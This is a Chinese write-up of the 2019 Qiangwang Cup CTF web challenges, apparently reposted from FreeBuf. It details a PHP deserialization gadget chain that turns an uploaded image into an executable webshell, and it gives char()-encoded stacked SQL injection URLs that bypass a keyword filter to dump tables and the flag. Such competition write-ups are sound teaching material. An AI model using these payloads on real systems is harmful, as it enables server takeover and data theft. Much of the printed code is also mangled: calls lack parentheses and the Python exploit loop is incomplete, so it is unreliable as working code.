APP下载

2019强网杯Web部分Writeup

消息来源:baojiabao.com 作者: 发布时间:2026-05-23

报价宝综合消息2019强网杯Web部分Writeup

题记2019年的强网杯web题目出的都不错,所以对题目进行分析一下。

正文upload首先开启界面如下:

有注册和登陆功能!

首先我们注册一个账户,然后登陆,发现可以上传图片:

这里首先想到的就是上传木马,但是经过尝试只能上传图片马,并且不能直接利用,经过抓包发现cookie是序列化内容,所以应该是通过cookie传递序列化内容,经过服务器的反序列化,然后对图片进行重新命名操作,进而获得shell:

但是,这种操作是需要源代码的,没有源代码分析进行反序列化操作,是非常困难的,所以我们进行目录探测发现了www.tar.gz,里面包含源代码,并且存在.idea档案,所以直接用phpstorm打开发现断点,可能是出题人故意的吧,不过谁知道呢:),分别是在application/web/controller/Register.php和application/web/controller/Index.php。

application/web/controller/Register.php:

application/web/controller/Index.php:

这两个断点给了我们的几点资讯:

Register.php有一个析构方法,可知如果未登入网站进行访问的话,就会呼叫index的index方法,而index方法是一个登陆检测。

index.php会对传入的cookie先进行base64解码,然后对其进行反序列化操作,再把资料拿到数据库进行对比。

仅有以上资讯还是不够的,我们的目的是找到对档名进行重赋值的方法,目前我们还做不到,所以继续审计,可以得到以下三个重要的档案:

web/controller/Index.phpweb/controller/Profile.phpweb/controller/Register.phppublic function upload_img{ if($this->checker){ if(!$this->checker->login_check){ $curr_url="http://".$_SERVER[\'HTTP_HOST\'].$_SERVER[\'SCRIPT_NAME\']."/index"; $this->redirect($curr_url,302); exit; } } if(!empty($_FILES)){ $this->filename_tmp=$_FILES[\'upload_file\'][\'tmp_name\']; $this->filename=md5($_FILES[\'upload_file\'][\'name\']).".png"; $this->ext_check; } if($this->ext) { if(getimagesize($this->filename_tmp)){ @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img;}else{ $this->error(\'Forbidden type!\', url(\'../index\'));} } else{ $this->error(\'Unknow file type!\', url(\'../index\')); } }其中操作档案行为为:

if(getimagesize($this->filename_tmp)){@copy($this->filename_tmp, $this->filename);@unlink($this->filename_tmp);我们跟一下跟进$this->filename_tmp和$this->filename发现并没限制,但是有一个阻碍:

if(!empty($_FILES)){ $this->filename_tmp=$_FILES[\'upload_file\'][\'tmp_name\']; $this->filename=md5($_FILES[\'upload_file\'][\'name\']).".png"; $this->ext_check; }我们需要绕过这里的判断,我们只需要使用GET请求即可绕过:

if($this->checker){ if(!$this->checker->login_check){ $curr_url="http://".$_SERVER[\'HTTP_HOST\'].$_SERVER[\'SCRIPT_NAME\']."/index"; $this->redirect($curr_url,302); exit; }}上面的判读可以通过直接通过设定类中属性进行bypass,来绕过if判断:

public $checker=0;public $filename_tmp="../public/upload/9c1534b1e8dbb5a0c0ec3f70d24f9627/0d44a7f4f1ae189a4c1d88b83f66ec68.png";public $filename="../public/upload/9c1534b1e8dbb5a0c0ec3f70d24f9627/ethan.php";档案路径通过以下程式码获得:

我们进入第三个if判断:

当该值进入upload_img函式后,接下来就可以利用copy复制出php档案,但是问题是怎么通过反序列化直接呼叫upload_img函式。

这里我们要用到两个魔术方法:

读取不可访问属性的值时,__get 会被呼叫;

在物件中呼叫一个不可访问方法时,__call 会被呼叫。

我们在以下程式码中找到这两个魔术方法,分别书写了在呼叫不可呼叫方法和不可呼叫成员变数时怎么做get会直接从except里找,call会呼叫自身的name成员变数所指代的变数所指代的方法:

public function __get($name){ return $this->except[$name];}public function __call($name, $arguments){ if($this->{$name}){ $this->{$this->{$name}}($arguments); }}我们知道当物件呼叫不可访问属性时,就会自动触发get魔法方法,而在物件呼叫不可访问函式时,就会自动触发call魔法方法。

那么寻找触发方式可以发现档案web/controller/Register.php,关键部分如下:

class Register extends Controller{ public $checker; public $registed; public function __construct { $this->checker=new Index; } public function __destruct { if(!$this->registed){ $this->checker->index; } }}我们可以看到checker呼叫了类Index里的方法index,如果我们此时将checker的destruct覆盖为类Profile,那么势必在呼叫index方法时,会触发call函式,因为check物件的index方法是在Profile.php中不存在的。

publicfunction__call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments); }}而进入该函式后,我们会触发$this->index,成功尝试呼叫类Profile中不存在的物件,于是可触发__get魔法方法,从而变成return $this->except[‘index’];,那么我们只要在构造序列化时,将except赋值为阵列,如下:

public $except=array(\'index\'=>\'upload_img\');即可在类Register进行__destruct时,成功触发upload_img函式,进行档案复制和改名。

以下是我们的攻击链:

流程图大概如下:

而我们只需要控制__get的except的值,就可以呼叫任意方法。

综上所述,我们构造以下程式码:

首先,我们上传一个图片马,然后利用我们得到的payload替换cookie,重新整理后即可找到修改后缀后的php档案:

使用蚁剑连线我们的木马,成功拿到shell:

随便注return preg_match("/select|update|delete|drop|insert|where|\\./i", $inject);这里过滤了select和.,所以跨表查询存在难道,因此这里使用堆叠注入和char进行bypass。

exp如下:

payload = "0\';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;"#exp = \'select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database\'#exp = "select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=\'1919810931114514\'"exp = "select flag from `1919810931114514`"res = \'\'for i in exp:my_payload = payload%(res[:-1])print(my_payload)获取表名:

http://192.168.23.166:8888/?inject=0\';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(84),char(65),char(66),char(76),char(69),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(83),char(67),char(72),char(69),char(77),char(65),char(61),char(100),char(97),char(116),char(97),char(98),char(97),char(115),char(101),char(40),char(41));PREPARE a FROM @s;EXECUTE a;获取字段名:

http://192.168.23.166:8888/?inject=0\';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(67),char(79),char(76),char(85),char(77),char(78),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(67),char(79),char(76),char(85),char(77),char(78),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(61),char(39),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(39));PREPARE a FROM @s;EXECUTE a;获取flag:

http://192.168.23.166:8888/?inject=0\';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(102),char(108),char(97),char(103),char(32),char(102),char(114),char(111),char(109),char(32),char(96),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(96));PREPARE a FROM @s;EXECUTE a;*本文作者:cck,转载请注明来自FreeBuf.COM

精彩推荐

2019-12-17 19:52:00

相关文章